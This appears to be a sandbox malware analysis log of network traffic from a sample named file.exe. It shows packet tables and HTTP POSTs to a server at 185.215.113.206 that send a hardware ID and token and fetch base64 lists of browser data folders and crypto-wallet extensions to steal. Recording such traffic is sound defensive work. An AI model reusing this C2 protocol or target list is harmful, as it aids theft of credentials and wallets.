Oct 27, 2024 00:31:19.112904072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.112914085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.112924099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.112938881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.112965107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113013983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113023996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113034010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113044977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113051891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113080978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113131046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113141060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113149881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113172054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113192081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113209009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113220930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113229036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113239050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113248110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113250017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113257885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113265038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113286972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113307953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113471031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113481998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113491058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113502026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113511086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.113531113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.113559008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.141330957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.146990061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432214022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432239056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432249069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432257891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432269096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432286024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432296038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432306051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432317019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432343960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432358980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432369947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432368994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432411909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432430983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432482958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432493925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432502985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432512045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432522058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432526112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432537079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432548046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432549000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432562113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432562113 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432574987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432585001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432590961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432615995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432626963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432889938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432900906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432909966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432919979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432929993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432935953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432945013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432957888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.432957888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.432979107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433003902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433027029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433037996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433047056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433058023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433067083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433079958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433088064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433099031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433105946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433106899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433108091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433119059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433119059 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433130026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433136940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433140993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433151960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433162928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433162928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433175087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433175087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433206081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433229923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433727026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433741093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433752060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433763981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433780909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433782101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433793068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433804989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433810949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433815956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433828115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433834076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433839083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433851957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433852911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433861971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433873892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433880091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433885098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433898926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433911085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433912039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433923006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433924913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433938026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433948994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433959961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433970928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433976889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.433983088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.433995008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.434006929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.434010983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.434035063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.434043884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.925432920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.925477982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:19.930902958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:19.930942059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:20.707092047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:20.707161903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:20.749805927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:20.755111933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:21.030340910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:21.030358076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:21.030369997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:21.030472040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:21.033313990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:21.038615942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:21.313739061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:21.313909054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:21.326941967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:21.333506107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:22.100352049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:22.100478888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:22.125036955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:22.130390882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:22.405473948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:22.405615091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:22.406835079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:22.412219048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:23.184523106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:23.184602022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:25.783421993 CEST	49709	80	192.168.2.6	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.215.113.206	80	3180	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 00:31:02.100122929 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 00:31:02.998636961 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 00:31:03.042979002 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 41 44 46 30 43 38 33 42 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"F2ADF0C83B473625698399------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"puma------GIEBAECAKKFCBFIEGCBK--
Oct 27, 2024 00:31:03.336829901 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 55 7a 4e 54 51 77 4e 6a 56 6b 4e 32 49 79 4f 57 5a 6a 4e 7a 63 77 59 54 45 7a 5a 54 6b 79 5a 54 5a 69 4d 54 64 6d 59 6a 6b 35 59 7a 5a 6d 4f 47 49 7a 4d 32 51 32 59 57 45 34 4d 57 55 31 4d 7a 63 7a 4d 7a 64 6a 4e 54 42 6a 4e 7a 4a 6b 5a 54 4d 30 4f 54 67 77 4d 54 45 30 5a 54 55 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmUzNTQwNjVkN2IyOWZjNzcwYTEzZTkyZTZiMTdmYjk5YzZmOGIzM2Q2YWE4MWU1MzczMzdjNTBjNzJkZTM0OTgwMTE0ZTU2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 27, 2024 00:31:03.339122057 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="message"browsers------BAFCGIJDAFBKFIECBGCA--
Oct 27, 2024 00:31:03.619579077 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 27, 2024 00:31:03.619874001 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 27, 2024 00:31:03.620985031 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 33 35 34 30 36 35 64 37 62 32 39 66 63 37 37 30 61 31 33 65 39 32 65 36 62 31 37 66 62 39 39 63 36 66 38 62 33 33 64 36 61 61 38 31 65 35 33 37 33 33 37 63 35 30 63 37 32 64 65 33 34 39 38 30 31 31 34 65 35 36 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"2e354065d7b29fc770a13e92e6b17fb99c6f8b33d6aa81e537337c50c72de34980114e56------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"plugins------IEHIIIJDAAAAAAKECBFB--
Oct 27, 2024 00:31:03.901525974 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:31:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 